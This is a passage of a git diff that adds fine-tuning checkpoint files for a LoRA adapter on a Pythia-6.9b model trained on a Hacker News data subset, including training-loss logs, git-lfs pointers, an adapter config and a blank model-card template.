22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.88215023419392e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..786464eb9a57b9f5c178ae62d43bd7dc28ca7323 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8b9e1cce774d1f057b12524619823a52c8cc213f0f15f0feff90e072c9b17646 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..e31e7550faf5a8db1f2b87ae3ef8bf1f2a472498 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7b014fc8cffbddf58e88d812d15770b55f0da8f8c4b61480f2800594d89db234 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..eb08c850753d158caff59458c0a4d2fa22ad5de8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5f5c1faf0e9eb010c64f51b35236463635709da903fff7194839666558e862b6 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..e44e26be68a19106ac45dab84a43a732acb91528 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:579c34af7d7ec0609fbd3479f4f8d8571c4cef90c76d9f6bacf43740f58855d8 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..6bd06a5b0a9a561427011c4fc2f426b32f1ee431 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/trainer_state.json @@ -0,0 +1,678 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.733333333333333, + "eval_steps": 10, + "global_step": 430, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + 